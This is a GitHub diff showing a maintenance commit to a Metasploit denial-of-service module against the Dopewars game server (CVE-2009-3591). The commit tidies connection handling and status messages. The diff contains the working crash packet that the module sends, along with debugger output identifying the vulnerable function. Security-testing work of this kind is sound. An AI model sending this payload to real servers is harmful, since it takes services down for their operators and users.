File tree Expand file tree Collapse file tree 1 file changed +7
-5
lines changed
modules/auxiliary/dos/dopewars Expand file tree Collapse file tree 1 file changed +7
-5
lines changed Original file line number Diff line number Diff line change @@ -19,10 +19,9 @@ def initialize(info = {})
19
19
} ,
20
20
'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ] ,
21
21
'License' => MSF_LICENSE ,
22
- 'Version' => '0.0.1 ' ,
22
+ 'Version' => '0.0.2 ' ,
23
23
'References' =>
24
24
[
25
- [ 'URL' , 'http://www.securityfocus.com/archive/1/archive/1/507012/100/0/threaded' ] ,
26
25
[ 'BID' , '36606' ] ,
27
26
[ 'CVE' , 'CVE-2009-3591' ] ,
28
27
] ) )
@@ -31,15 +30,14 @@ def initialize(info = {})
31
30
end
32
31
33
32
def run
34
- connect
35
-
36
33
# The jet command is vulnerable.
37
34
# Program received signal SIGSEGV, Segmentation fault.
38
35
# [Switching to Thread 0xb74916c0 (LWP 30638)]
39
36
# 0x08062f6e in HandleServerMessage (buf=0x8098828 "", Play=0x809a000) at
40
37
# serverside.c:525
41
38
# 525 dopelog(4, LF_SERVER, "%s jets to %s",
42
39
#
40
+ connect
43
41
pkt = "foo^^Ar1111111\n ^^Acfoo\n ^AV65536\n "
44
42
print_status ( "Sending dos packet..." )
45
43
sock . put ( pkt )
@@ -52,7 +50,11 @@ def run
52
50
rescue ::Interrupt
53
51
raise $!
54
52
rescue ::Rex ::ConnectionRefused
55
- print_status ( "Dopewars server succesfully shut down!" )
53
+ print_good ( "Dopewars server succesfully shut down!" )
54
+ else
55
+ print_error ( "DOS attack unsuccessful" )
56
+ ensure
57
+ disconnect
56
58
end
57
59
end
58
60
end
You can’t perform that action at this time.
0 commit comments